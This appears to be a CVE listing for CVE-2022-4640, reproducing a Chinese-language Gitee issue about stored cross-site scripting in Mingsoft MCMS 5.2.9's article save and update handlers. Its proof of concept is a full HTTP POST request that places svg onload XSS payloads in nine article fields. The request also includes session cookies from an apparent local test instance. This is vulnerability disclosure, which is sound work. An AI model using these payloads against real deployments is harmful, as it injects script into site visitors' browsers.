Headline

CVE-2022-4640: v5.2.9 前台存储xss · Issue #I65KI5 · 铭飞/MCMS - Gitee.com

A vulnerability has been found in Mingsoft MCMS 5.2.9 and classified as problematic. Affected by this vulnerability is the function save of the component Article Handler. The manipulation leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-216499.

2 years ago

CVE

Open in Source

#xss #vulnerability #mac #js #git #java #intel #php #auth #firefox

漏洞详情

在保存或者更新文章的时候，没有对提交数据做严格的过滤。生成文章时，在前台照成xss攻击。

net.mingsoft.cms.action#save()


net.mingsoft.cms.action#update()

在net.mingsoft.cms.entity包下面都是类似JavaBean的写法，set()直接设置，get()获取返回直接返回，没有过滤。

构造payload

可以看到这几个字段都没经过有限过滤。

生成poc

生成时，会把上面payload直接输出到前台html。

可以看到其中标题、描述、内容，直接输出到前台HTML。

可以看到contentTitle、contentDescription、contentDetails 三个构造的payload触发。

POST /ms/cms/content/save.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
Pragma: no-cache
token: null
Content-Length: 491
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/ms/cms/content/form.do
Cookie: Phpstorm-f6f062b4=5f525093-5f84-4757-8d57-73a0807e485f; currentMenuCode=1599107821860655104; pageNo=2; pageSize=20; pageno_cookie=1; SHIRO_SESSION_ID=58a8d37d-8a16-430e-a7ef-925839f673e0; rememberMe=5cjEDUiKQ6EcshxFJv6JNis4+TagGWtfYnhBYTSNM7EP5KDqO2/eXptuk3yigpRYnLtx+I12zn8n+Gst9nIatcPOzKhtmhXsRFeVEZkhMnKk6/hwmvK6bikR3zS59ckqOCyxze4jmESJ8Kh8h50p1w9CchOCxhcH17GpRz29vlPFvdT1iKZHMHncxuhfDCfBj5mQOpwSHtGotKOJoQ+EJdnmcRvkdDRkP/woZ+xvAZTixkRHW1HWn3/nIjapKo5G5EmXeuN+1YmauoeMX9NXg1n4Q3XONqwS3EJC1PMqdLWIOxBjt9vEGC9OnsiUHlZDZnFwxFs9A0gELQUO0qy0/cudGdDamjgFTa4bLCQvJ0GjHCaigPj+PvQ2qPc+dfXuUzC9sYK9E1tv8QtsrEQXjuNoHsc7a0OMvTPSfKYntICLzNfhI8oDF6dZLuW/4pRUYTD9N650hVA/Aa9oDrLMCj10m52kTPrQ0u3yU6VsOSr4vY1D/Zkj7VsHfnN8teAwC0V0CzyDC+PJfIuccESmNSkI/7mtVNV9P45dY8eJZTP+GgAEOLcZB73BYRujlD50iqaeMxUJXQPOZkpE8rCrxZpKS+1sjgti9gbRYdbdiF4b78GNyzOZShCGMIdt06uuDcL4pGIq6iBSVk2v0hf65nbIFhl7Wfn3hZeg6/ETfTqUCYq8vW0TLK6WO7njF/083lb4Pz39Bx2Dejdx5IfQt5oLyxSoqLrDaB87Fuq+96yZz3Iw+VITpahW2UBinDGF25R85PbqKY8SacCQzqQaqHz4zKkPLtIvMEVYld7bMVL+vLU5FB7Da5Ti9ce+XAkUK6nEsWYpJq3ONi5+nzI1ZSIWfEuumIK6xGQ6qpyjPSo732xSfHT+1fpAhs+yTGlFpTk+iht43qK5upi2jcAZcxqy3mFjjbLXVAng7Bp0QbRH+aD+su8H/UEGiOEJ9b6in2zCN/caz6YNmNpjb1ubG3VBOYanpERZEaRuL/5Sl294YE6mBUPfn+CN0xjzJWCiC0KqBI1DCxb6D0u2mLdsXaCbhCv02VyVL3IlHScbE50MXz/ioisb0ccLTNzafP41YjO5bDz1laIsvTw1keROjcltAexzgQxnC42tozLKzedLygLClhuxqvzHMGTnQg5J5nvmYWT96gc7uuEJnyQl4/62RY0bnQ/nj7b81nHxxZQeAUSico2GKeQjJGSTPNWMh++h8sdImqVvbE2ARhkgXsyOIQrmGTN8Tk+g2yVPG947S37PGdUCb2lfzRBV1UQipiNJ1HuSTbfSzNRY5Nfrer0xaI78+Mc5j7xoSswg1r5jsO/zFdL/66U+DO5Q8jsQTn8zjapBYK+nEa0=
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

contentTitle=<svg/onload=console.log('xss1')>&categoryId=1329257757913718785&contentType=<svg/onload=console.log('xss2')>&contentDisplay=0&contentAuthor=<svg/onload=console.log('xss3')>&contentSource=<svg/onload=console.log('xss4')>&contentSort=0&contentImg="><svg/onload%3dconsole.log('xss5')>"<&contentDescription=<svg/onload=console.log('xss6')>&contentKeyword=<svg/onload=console.log('xss7')>&contentDetails=<svg/onload=console.log('xss8')>&contentDatetime=2022-12-08%2005%3A19%3A37&id=0